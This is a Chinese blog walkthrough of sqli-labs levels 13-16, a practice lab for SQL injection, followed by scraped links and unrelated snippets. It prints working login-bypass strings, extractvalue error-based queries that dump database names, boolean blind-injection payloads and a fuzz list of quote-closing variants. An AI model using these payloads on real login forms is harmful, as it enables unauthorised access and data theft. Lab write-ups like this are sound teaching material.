sqli-labs(七)——登陆处sql注入
第十三关:
这关也是一个登陆口,和上关所说的一样,先使用'"试一下,让程序报错然后判断后台的sql语句

可以看到后台sql大概是 where name = ('$name')... 这样的
post信息中输入uname=1') or '1'='1' #&passwd=1&submit=Submit 可以成功进入

但是没有显示账号密码之类的,所以不能使用上一关的联表查询。尝试使用上关的报错查询试试,输入
uname=1&passwd=1') and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata limit 0,1))) #&submit=Submit

能成功报错出数据库名!但是这里显示不全,可以不使用group_concat这个函数,利用limit一行一行的查询
其实这关主要考察的是双查询注入(floor的报错查询),但是这里可以使用extractvalue进行报错,那他的我就不继续下去了。
第十四关:
这关和第十三关是类似的,只是将')变成了"而已,至于是怎么判断的还是使用的'"。
这里还补充一句,登录框的地方很多时候都没有报错信息,那么怎么判断后台的sql拼凑方式呢? 目前我的办法是将这些比如1' or '1'='1' # ; 1" or "1"="1" # ; 1') or '1'='1' # ; 1")or "1"="1" # 等等做成一个字典,然后进行fuzz。
第十五关:
好吧,上面刚说面没有报错的情况下应该怎么办,这关就遇到了!(说实话,我写上面那段话的时候是真的没有看这关的内容)
我刚看到这题的时候还是直接输入的'",结果发现没有报错信息,这个时候就无法通过报错直接判断后台的拼接方式了。
使用上面fuzz的方式是可以判断的,但是这里我就直接看后台的实现吧

发现后台是直接用的单引符号,这里也不会登陆成功后的账号密码,所以只能使用盲注了。
我记得我之前在第十一关的时候就尝试了盲注的,当时没成功,这里的情况实际上是和第十一关一模一样的,后台网上查了下才发现,盲注时应该是
or (ascii(substr((select database()) ,1,1))) >64
而不能是 or ascii(substr((select database()) ,1,1)) >64
post 输入uname=1' or (ascii(substr((user()),1,1)))>64 #&passwd=1&submit=Submit 能登陆成功

输入uname=1' or (ascii(substr((user()),1,1)))>200 #&passwd=1&submit=Submit

登陆失败,后面的就不继续了,利用二分法一个字符一个字符的判断即可。
第十六关:
和第十五关类似,只是将单引符号改为了双引符号进行拼凑。怎么判断后台的拼凑方式? fuzz!!
sqli-labs(七)——登陆处sql注入的更多相关文章
- [代码审计]云优cms V 1.1.2前台多处sql注入,任意文件删除修复绕过至getshell
0X00 总体简介 云优CMS于2017年9月上线全新版本,二级域名分站,内容分站独立,七牛云存储,自定义字段,自定义表单,自定义栏目权限,自定义管理权限等众多功能深受用户青睐,上线短短3个月,下载次 ...
- ThinkCMF X2.2.2多处SQL注入漏洞分析
1. 漏洞描述 ThinkCMF是一款基于ThinkPHP+MySQL开发的中文内容管理框架,其中X系列基于ThinkPHP 3.2.3开发,最后更新到2.2.2版本.最近刚好在渗透测试 ...
- sqli-labs(八)——修改密码处sql注入+http头sql注入
第17关: 这是一个重置密码的功能存在sqk注入,尝试账号密码都输入'",发现只会显示登陆失败,没有报错信息. 这个时候先推测一下后台的sql形式大概应该是: update users se ...
- Vtiger CRM 几处SQL注入漏洞分析,测试工程师可借鉴
本文由云+社区发表 0x00 前言 干白盒审计有小半年了,大部分是业务上的代码,逻辑的复杂度和功能模块结构都比较简单,干久了收获也就一般,有机会接触一个成熟的产品(vtiger CRM)进行白盒审计, ...
- modSecurity规则学习(七)——防止SQL注入
1.数字型SQL注入 /opt/waf/owasp-modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [lin ...
- 登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...
- S-CMS企业建站v3几处SQL注入
0x01 前言 有段时间没有发文章了,主要没挖到比较有意思的漏洞点.然后看最近爆了很多关于S-CMS的漏洞,下载了源码简单挖了一下然后给大家分享一下. 0x02 目录 Wap_index.php sq ...
- 网页闯关游戏(riddle webgame)--SQL注入的潘多拉魔盒
前言: 之前编写了一个网页闯关游戏(类似Riddle Game), 除了希望大家能够体验一下我的游戏外. 也愿意分享编写这个网页游戏过程中, 学到的一些知识. web开发初学者往往会忽视一些常见的漏洞 ...
- SQL注入浅水攻防
啥是SQL注入(SQL Injection) 所谓SQL注入就是把SQL命令插入到表单的输入域或页面请求的查询字符串,欺骗服务器执行恶意的SQL命令.在某些表单中,用户输入的内容直接用来构造 (或影响 ...
随机推荐
- day5:字典dict
1, 判断是不是列表 li = ['lis3a', 'mary', 'lucy', 'hh', 'kk', 'gg', 'mm', 'oo', 'vv'] if type(li) == list: p ...
- 如果是多个 c 代码的源码文件,编译方法如下: $ gcc test1.c test2.c -o main.out $ ./main.out test1.c 与 test2.c 是两个源代码文件。
如果是多个 c 代码的源码文件,编译方法如下: $ gcc test1.c test2.c -o main.out $ ./main.out test1.c 与 test2.c 是两个源代码文件.
- nginx rate limit
nginx rate limithttps://www.topjishu.com/12139.htmlhttps://blog.csdn.net/hellow__world/article/detai ...
- C#查找字符串位置
int i=zifuchuan.IndexOf(","); int n=(zifuchuan.SubString(i+1)).IndexOf(","); int ...
- NumPy 广播机制(Broadcasting)
一.何为广播机制 a.广播机制是Numpy(开源数值计算工具,用于处理大型矩阵)里一种向量化数组操作方法. b.Numpy的通用函数(Universal functions) 中要求输入的两个数组sh ...
- Bloom Filter 数据结构去重
Bloom Filter是一种空间效率很高的随机数据结构,它利用位数组很简洁地表示一个集合,并能判断一个元素是否属于这个集合. Bloom Filter的这种高效是有一定代价的:在判断一个元素是否属于 ...
- Python开发【异步】:asyncio
异步asyncio asyncio是一个使用async / await语法编写并发代码的库. asyncio用作多个Python异步框架的基础,这些框架提供高性能的网络和Web服务器,数据库连接库,分 ...
- Appium环境配置(一)
一:环境准备(Windows 7版本 64位系统) 1.jdk1.6.0 (64位) 2.android-sdk 3.appium 4.Node.js:node-v8.11.1 5.Appium-Py ...
- Spring 配置文件出现异常!
spring配置文件错误 Referenced file contains errors (http://www.springframework.org/schema/beans/spring-bea ...
- Servlet----------通过 GenericServlet 开发Servlet
通过继承GenericServlet抽象类.只需要重写service()方法即可.(这个知识点了解即可) package cn.servlet; import java.io.IOException; ...